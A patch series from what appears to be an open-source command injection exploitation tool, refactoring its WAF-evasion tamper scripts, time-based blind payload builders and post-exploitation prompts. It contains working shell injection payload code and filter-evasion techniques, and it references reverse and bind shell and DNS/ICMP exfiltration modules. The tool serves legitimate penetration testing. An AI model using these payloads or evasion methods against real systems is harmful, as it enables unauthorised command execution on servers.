settings.TRANFROM_PAYLOAD = False warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + warn_msg += "do not support the '" + __tamper__ + ".py' tamper script. Skipping." + if menu.options.skip_heuristics: + print(settings.SINGLE_WHITESPACE) + print(settings.print_warning_msg(warn_msg)) + return payload else: settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: - payload = sleep_to_timeout_ping(payload) + return sleep_to_timeout_ping(payload) - return payload - # eof \ No newline at end of file diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index ed81d9320b..d3a2fa98cb 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Replaces "sleep" with "usleep" command in the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ @@ -47,22 +48,13 @@ def sleep_to_usleep(payload): settings.TRANFROM_PAYLOAD = False warn_msg = "All injection techniques, except for the time-relative ones, " warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + if menu.options.skip_heuristics: + print(settings.SINGLE_WHITESPACE) + print(settings.print_warning_msg(warn_msg)) + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = sleep_to_usleep(payload) - + return sleep_to_usleep(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index d2c972843e..922c79c4f5 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -14,13 +14,14 @@ """ import sys +from src.utils import menu from src.utils import settings """ About: Replaces space character ('%20') with the internal field separator ('$IFS'). The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "space2ifs" @@ -32,13 +33,7 @@ def tamper(payload): settings.WHITESPACES[0] = "${IFS}" else: settings.WHITESPACES.append("${IFS}") - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - return payload + return payload + # eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 86cb38eecb..49c288677e 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -31,5 +31,7 @@ def tamper(payload): settings.WHITESPACES[0] = "+" else: settings.WHITESPACES.append("+") - return payload + + return payload + # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 0c48259993..7e2bfca0f9 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -29,10 +29,7 @@ def tamper(payload): settings.WHITESPACES[0] = "%0b" else: settings.WHITESPACES.append("%0b") - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Unix target host(s), does not support vertical tab(s)." - print(settings.print_warning_msg(warn_msg)) + return payload + # eof \ No newline at end of file diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 72d9368094..84cb8c9f45 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -17,12 +17,12 @@ import sys import random import string - +from src.utils import menu from src.utils import settings """ About: Adds uninitialized bash variables between the characters of each command of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ @@ -52,24 +52,10 @@ def add_uninitialized_variable(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_uninitialized_variable(payload) - + return add_uninitialized_variable(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index dfc27cc035..9e201716fc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "66" +REVISION = "67" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -973,6 +973,34 @@ def sys_argv_errors(): "backticks":False } +UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "caret", + "space2vtab" +] + +WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "backslashes" + "dollaratsigns", + "backticks", + "nested", + "singlequotes", + "slash2env", + "sleep2usleep", + "space2ifs", + "uninitializedvariable" +] + +EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "backslashes" + "caret", + "dollaratsigns", + "doublequotes", + "nested", + "singlequotes", + "slash2env", + "uninitializedvariable" +] + # HTTP Errors BAD_REQUEST = "400" UNAUTHORIZED_ERROR = "401" From 916770a02124465d64108734478620cfb6012a74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 20 May 2022 08:52:11 +0300 Subject: [PATCH 144/560] Some more refactoring --- .../techniques/time_based/tb_enumeration.py | 11 ++++++-- .../techniques/time_based/tb_file_access.py | 2 +- .../blind/techniques/time_based/tb_handler.py | 26 +++++++++--------- .../techniques/time_based/tb_injector.py | 2 +- .../techniques/time_based/tb_payloads.py | 27 ++++++++----------- src/core/injections/controller/checks.py | 25 ++++++++--------- src/core/injections/controller/controller.py | 19 +++++++------ .../injections/controller/shell_options.py | 2 +- .../techniques/classic/cb_enumeration.py | 2 +- .../techniques/classic/cb_handler.py | 21 ++++++--------- .../techniques/eval_based/eb_enumeration.py | 2 +- .../techniques/eval_based/eb_handler.py | 24 +++++++---------- .../techniques/file_based/fb_enumeration.py | 2 +- .../techniques/file_based/fb_handler.py | 23 ++++++---------- .../tempfile_based/tfb_enumeration.py | 13 ++++++--- .../tempfile_based/tfb_file_access.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 25 +++++++++-------- .../dns_exfiltration/dns_exfiltration.py | 4 +-- .../icmp_exfiltration/icmp_exfiltration.py | 4 +-- src/core/modules/shellshock/shellshock.py | 16 +++++------ src/core/shells/bind_tcp.py | 6 ++--- src/core/shells/reverse_tcp.py | 6 ++--- src/core/tamper/space2htab.py | 10 ++++--- src/core/tamper/space2ifs.py | 16 ++++++----- src/core/tamper/space2plus.py | 8 +++--- src/core/tamper/space2vtab.py | 14 +++++++--- src/utils/session_handler.py | 5 ++-- src/utils/settings.py | 2 +- 28 files changed, 162 insertions(+), 157 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 25356a7de4..dbc3b54eee 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -536,6 +536,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) @@ -545,17 +546,23 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + if settings.ENUMERATION_DONE == True: + print(settings.SINGLE_WHITESPACE) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.hostname: if settings.ENUMERATION_DONE == True: print(settings.SINGLE_WHITESPACE) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.current_user: if settings.ENUMERATION_DONE == True: diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 0904864d9f..fbbdb14088 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -138,7 +138,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = "'" + cmd + "'" dest_to_write = path + "\\" + filname else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write + cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7abb43fe07..33c6a5b42f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -414,18 +414,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: settings.LOAD_SESSION = False - new_line = False + new_line = True # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) break - elif enumerate_again in settings.CHOICE_NO: - new_line = True + elif enumerate_again in settings.CHOICE_NO: + new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() @@ -436,20 +437,20 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if menu.enumeration_options(): tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) + if settings.ENUMERATION_DONE == True and new_line: + print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -467,16 +468,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Export injection result #tb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not new_line : - print(settings.SINGLE_WHITESPACE) - # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 328f15080b..2b2efb2734 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -378,7 +378,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) - return check_how_long, output + return check_how_long, output """ False Positive check and evaluation. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index aedfcc8710..5f3e803687 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -48,24 +48,21 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" ) elif separator == "%0a" : - #separator = "\n" payload = (separator + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" ) elif separator == "&&" : @@ -76,11 +73,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -203,7 +198,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "str=\"$(echo $(" + cmd + "))\"" + separator + #"str1=${%23str}" + separator + "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -216,7 +211,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): # Find the length of the output. "str1=$(expr length \"$str\")" + separator + #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -356,7 +351,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Transform from Ascii to Decimal. "str=$(printf %25d \"'$char'\")" + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -372,7 +367,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Transform from Ascii to Decimal. "str=$(printf %25d \"'$char'\")" + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -512,7 +507,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if separator == ";" : payload = (separator + "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -522,7 +517,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me #separator = "\n" payload = (separator + "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -534,7 +529,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me payload = (ampersand + "sleep 0 " + separator + "str=\"$(" + cmd + ")\" " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "[ " + str(ascii_char) + " -eq $str ] " + separator + "sleep " + str(timesec) ) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d955cb27e2..fe69c93f57 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -512,8 +512,8 @@ def procced_with_file_based_technique(): while True: message = "Due to the provided '--web-root' option," message += " do you want to procced with the (semi-blind) " - message += "file-based injection technique? [Y/n] > " - enable_fb = common.read_input(message, default="Y", check_batch=True) + message += "file-based injection technique? [y/N] > " + enable_fb = common.read_input(message, default="N", check_batch=True) if enable_fb in settings.CHOICE_YES: return True elif enable_fb in settings.CHOICE_NO: @@ -1022,18 +1022,19 @@ def tamper_scripts(stored_tamper_scripts): elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Unix targets do not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "Unix-like targets do not support the usage of '" + script + ".py' tamper script. Skipping." if len(warn_msg) != 0: print(settings.print_warning_msg(warn_msg)) - try: - module = __import__(import_script, fromlist=[None]) - if not hasattr(module, "__tamper__"): - err_msg = "Missing variable '__tamper__' " - err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ImportError as err_msg: - pass + else: + try: + module = __import__(import_script, fromlist=[None]) + if not hasattr(module, "__tamper__"): + err_msg = "Missing variable '__tamper__' " + err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + except ImportError as err_msg: + pass # Using too many tamper scripts is usually not a good idea. :P _ = False diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9e3d1fb35c..b9a385812c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -131,7 +131,6 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" - settings.EVAL_BASED_STATE = True try: try: @@ -699,16 +698,20 @@ def post_request(url, http_request_method, filename, timesec): Perform checks """ def perform_checks(url, http_request_method, filename): + # Initiate whitespaces + if settings.MULTI_TARGETS or not settings.IS_TTY and len(settings.WHITESPACES) > 1: + settings.WHITESPACES = ["%20"] def basic_level_checks(): - if not settings.MULTI_TARGETS: - settings.PERFORM_BASIC_SCANS = False - else: + if settings.MULTI_TARGETS or not settings.IS_TTY: settings.PERFORM_BASIC_SCANS = True - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False - settings.IDENTIFIED_WARNINGS = False - settings.IDENTIFIED_PHPINFO = False + else: + settings.PERFORM_BASIC_SCANS = False + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_WARNINGS = False + settings.IDENTIFIED_PHPINFO = False timesec = settings.TIMESEC # Check if authentication is needed. diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index cf5e41b9ca..da7f6ae346 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -165,7 +165,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "os_shell" option elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." + warn_msg = "You are into the '" + os_shell_option + "' mode." print(settings.print_warning_msg(warn_msg)) return go_back, go_back_again diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 6b9cf1826e..7308d3a709 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -570,7 +570,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 8dd6a3e80a..5e7079e6fe 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -293,9 +293,11 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break elif enumerate_again in settings.CHOICE_NO: @@ -310,18 +312,15 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break elif file_access_again in settings.CHOICE_NO: @@ -339,10 +338,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False @@ -350,7 +345,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True : if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index b835b7724b..9b5fcb1e51 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -570,7 +570,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 2573314a1e..38e4e91ba0 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -179,7 +179,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - # Try target page reload (if it is required). + # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. @@ -304,11 +304,12 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False @@ -323,17 +324,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) + if settings.FILE_ACCESS_DONE == True: while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break elif file_access_again in settings.CHOICE_NO: @@ -352,17 +350,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) - # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index a78fc865cb..fc76104f45 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -547,7 +547,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index fd9ab9305d..ff0d252b88 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -369,7 +369,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " + message = "Do you want to use the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -521,11 +521,12 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False @@ -542,18 +543,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if 